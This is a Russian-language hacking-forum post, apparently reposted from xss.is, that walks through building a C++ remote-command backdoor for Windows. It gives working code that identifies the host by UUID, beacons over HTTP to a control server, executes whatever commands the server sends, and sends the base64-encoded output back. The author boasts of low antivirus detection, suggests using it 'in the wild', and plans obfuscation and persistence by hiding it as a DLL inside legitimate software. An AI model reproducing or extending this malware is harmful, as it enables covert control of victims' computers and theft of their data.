Простой бэкдор с работой по HTTP.

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: OMAR_HAYAT

Источник: https://xss.is

Всем привет!

Давно было желание прикоснуться к тайным знаниям великого и могучего С++. Только не попадалось интересной задачи для реализации. Учить по книжкам и статьям конечно очень позновательно, но не интересно. Поэтому требовалась какая то практическая задача. Решил попробовать сварганить неинтерактивный клиент с коннектом по HTTP и возможностью выполнять произвольные команды в среде Windows. Сказано, сделано!

Идея настолько простая, что даже не вижу смысла делать графическую схему. Клиент после запуска идентифицирует себя в системе и сообщает о себе серверу. Сервер проверяет кто это такой к нему припёрся. Если новенький, регит его у себя и выдаёт команду. Если старенький, всё равно выдаёт команду. Клиент выполняет полученную команду и отправляет результат на сервер. Сервер принимает результат (предварительно поняв что это именно результат отправленной команды), сохраняет его в лог и опять выдаёт команду.

Преимущества работы именно неинтерактивного клиентского приложения в деле скрытого сбора информации на мой взгляд очевидны. Мы можем настроить сервер на взаимодействие с кучей клиентов, собирать информацию и выполнять ещё кое-какие очевидные вещи полностью в автоматическом режиме с регулирумыми паузами между выполнением команд. Плюс логика наших действий будет храниться на сервере, а не в коде клиента.

К минусам я бы отнёс как раз написание серверной части. Для меня минус, так как клиент-серверные системы буду попробовать писать в первый раз. Её решил делать на PHP. Там всё предельно просто через if`ы и case`ы. Вариант простого скрипта для проверки работы кода клиента прилагаю в архиве.

План реализации клиента:

0х01. Собираем первичную информацию о системе в которой запустились (UUID);
0х02. Передаем эту информацию на сервер и получаем от сервера команду;
0х03. Выполняем команду, шифруем вывод команды;
0х04. Отправляем результат на сервер и засыпаем.

В лабораторных условиях результат работы выглядит так:

out_screen.jpg



Давайте рассмотрим все этапы работы софта.


0х01. Собираем первичную инфррмацию о системе в которой запустились.

Когда наш зверёк запустился в системе, нам требуется как то идентифицировать этот запущенный экземпляр. Решил привязать его к UUID системы. Он постоянен и вроде как уникален. Поэтому при многократном запуске экземпляра клиента эта инфа в системе будет постоянна:

C++: Скопировать в буфер обмена
Код:
// определяем UUID системы в которой запустились
FILE* p_uuid;
wchar_t crBuffer[BUFFER];
std::wstring str_uuid;

//команду определения UUID смотреть в дефайне: #define UUID "wmic path win32_computersystemproduct get uuid | findstr .-."
strcpy_s(command, UUID);

if ((p_uuid = _popen(command, "rt")) == NULL)
    exit(1);

while (fgetws(crBuffer, BUFFER, p_uuid))
    str_uuid += base64_encode(std::wstring(crBuffer));


int endOfFileVal = feof(p_uuid);
int closeReturnVal = _pclose(p_uuid);

if (endOfFileVal)
{
    printf("\nProcess returned %d\n", closeReturnVal);
}
else
{
    printf("Error: Failed to read the pipe to the end.\n");
}

Для выполнения команды использовал _popen. Гугление показало что это наиболее удобный способ работы с результатом выполнения команды. Возможно есть варианты лучше. С удовольствием о них почитаю.
Конечно можно воспользоваться WinAPI и собрать нужную инфу применив вызовы определённых функций. В этом случае нарушится идея вынесения логики наших действий на сервер. Какая инфа будет собираться прогой будет написано в самой проге:) С другой стороны может АВ будет более настороженно относится к коду с функцией _popen нежели к коду с вызовами функций WinAPI. Вопрос открытый. Интересно послушать мнение более опытных людей.

Кодирую вывод команды в base64 для простоты работы со строками. В выводе обычно есть разные '\n'. Чтобы с ними не мучатся при составление запроса на сервер, удобнее всё сразу закодировать и работать уже с такой формой.


0х02. Передаем эту информацию на сервер и получаем от сервера команду.

Соединение с сервером для простоты реализовал через HTTP. Интересно было бы в перспективе рассмотреть реализацию через HTTPS и DNS протоколы. Это оставлю на будущее.
Работа с вебом через C++ в эпоху питона оказалась весёлой затеей:) Но я справился и нашёл такую реализацию: hXXps://github[.]com/shaovoon/winhttp_examples
Там есть хорошие примеры в которых легко разобратся.
C++: Скопировать в буфер обмена
Код:
// подготовливаемся к отправке идентифицирующего запроса на сервер
data_for_server = data_for_script + L"&id=" + str_uuid + L"&info=";

using namespace WinHttpWrapper;

const std::wstring requestHeader = L"Content-Type: application/json";
bool https = false;

// требуемые параметры также определяем в дефайнах
HttpRequest req(SERVER, PORT, https);
HttpResponse response;

//делаем запрос на сервер
req.Get(data_for_server, L"", response);
// смотрим что улетело и что получили в ответ
std::wcout << "First request to server: " << SERVER << data_for_server << '\n';
std::cout << "First response server: " << response.text << '\n' << '\n';


Серверную часть реализовал так, что при получении такого запроса сервер возвращает клиенту команду для выполнения.

0х03. Выполняем команду, шифруем вывод команды.
0х04. Отправляем результат на сервер и засыпаем.


Объединим два раздела в один из-за цикла, который будет выполняться до тех пор, пока сервер не попросит программу завершиться.

C++: Скопировать в буфер обмена
Код:
//готовимся выпонять команду и принимать ее вывод
FILE* p_Out_command;
std::wstring str_out_command;
std::wstring str_out_command_base64;

//копируем команду из ответа сервера в переменную
if (response.text != "") {
    strcpy_s(command, response.text.c_str());
}
else {
    // если нет коннекта то завершаем работу проги
    std::cout << "\nNo connect to server...\n";
    exit(1);
}
//будем работать пока сервер не пришлёт команду на завершение работы
while (response.text != "q") {

    //обнуляем строку с результатом выполнения команды
    str_out_command = L"";
   
    // выполняем требуемую команду
    if ((p_Out_command = _popen(command, "rt")) == NULL)
        exit(1);

    // пишем вывод команды в строку
    while (fgetws(crBuffer, BUFFER, p_Out_command))
        str_out_command += std::wstring(crBuffer);

    int endOfFileVal = feof(p_Out_command);
    int closeReturnVal = _pclose(p_Out_command);

    if (endOfFileVal)
    {
        printf("\nProcess returned %d\n", closeReturnVal);
    }
    else
    {
        printf("Error: Failed to read the pipe to the end.\n");
    }

    //кодируем строку
    str_out_command_base64 = base64_encode(str_out_command);

    // глядим на результат выполнения
    std::wcout << "Result run command: " << str_out_command;

    //обнулим ответ от сервера
    response.Reset();

    //отправляем результат вывода команды на сервер
    std::wstring str_sec_req = data_for_script + L"&id=" + str_uuid + L"&info=" + str_out_command_base64;
   
    //поглядим что хотим отправить серверу во второй раз
    std::wcout << "Second request to server: " << str_sec_req << '\n';

    //отправляем
    req.Get(str_sec_req, L"", response);

    // глядим что пришло в ответ
    std::cout << "Second response server: " << response.text;

    // анализируем ответ сервера
    if (response.text == "s") {
        //если сервер сказал что пора поспать, то делаем долгую задержку
        std::cout << "\nSleep one minute.\n";
        strcpy_s(command, "");
        Sleep(60000);
    }
    else
    {
        // если спать не просили, значить надо выполнять команду, которую прислал сервер
        strcpy_s(command, response.text.c_str());
        std::cout << "\nSleep five sec. \n";
        Sleep(5000);
    }
}


Шифрование передаваемой в параметре info информации для простоты реализации выполнил через base64. Этот вопрос так же требует изучения и интересно попробовать реализации с другими алгоритмами шифрования. Как мне кажется тут достаточно будет симметричных алгоритмов. Хотя послушать иные мнения буду не против.

Функцию кодировки взял из заголовочного файла base64.h с этого поста xss[.]ru/threads/118221/. Респект <автору> за реализацию.

Временная задержка реализована через Sleep. Такое решение конечно так себе. Интересно будет попробовать реализовать таймер через время работы проги или что то подобное. Помниться такое работало на C когда приходилось работать с Arduino. Думаю в плюсах тоже должно получиться.

0х05. Детект АВ.

В этом вопросе решил пройти самым простым путём. Залил экзешник на ВТ. Всё равно требуются существенные дополнения кода. Думаю утечка этого бинаря будет не фатальна.

check_AV.jpg



Как по мне результат более чем отличный. Сборку делал в MSVS 2022. Думаю даже в таком виде можно пробовать это изделие применять в "дикой природе".

Через некоторое время подчистил код. Закоментил все выводы инфы на экран через std::cout. Убрал ненужные инклуды, которые добавлял раньше для экспериментов. Отключил вывод консольного окна. Размер экзешника уменьшился на чуть чуть. Но и детектов стало не два, а три.

check_AV_2.jpg




0х06. Вывод.

В первом приближении цель достигнута. Было реализованно в простом варианте соединение с сервером через HTTP, получение и выполнение команды и возврат результата выполнения на сервер. Размер экзешника получился порядка 200 КБ. Для "правосланой" малвари размер гигантский. Хотя если её не совать бинарником в какой то эксплойт, а пристоить динамической библиотекой к какой то легитимной проге, то можно попробовать для простого закрепления в системе.

Так же определился круг вопросов по улучшению текущей версии:
- уменьшение размера бинаря за счёт отказа от бибилиотек;
- работа с протоколами HTTPS, DNS и его собрат с шифрованием трафика;
- шифрование передаваемой инфы более интересными алгоритмами нежели base64;
- реализация таймера для управлением временными задержками в программе;
- добавить обфускацию строк.

Буду очень признателен если неравнодушные читатели поделяться своим опытом реализации вопросов затронутых в этой статье. Хотелось бы узнать альтарнативную точку зрения проверенную на практике. Особенно что касается взаимодействия клиента с сервером и наоборот. Я попытался предусмотреть случай разрыва связи с сервером. Только не знаю, достаточно такого или нет.

Пасс к архивам местный, закодированный base64.

Всем добра!
 
Сверху Снизу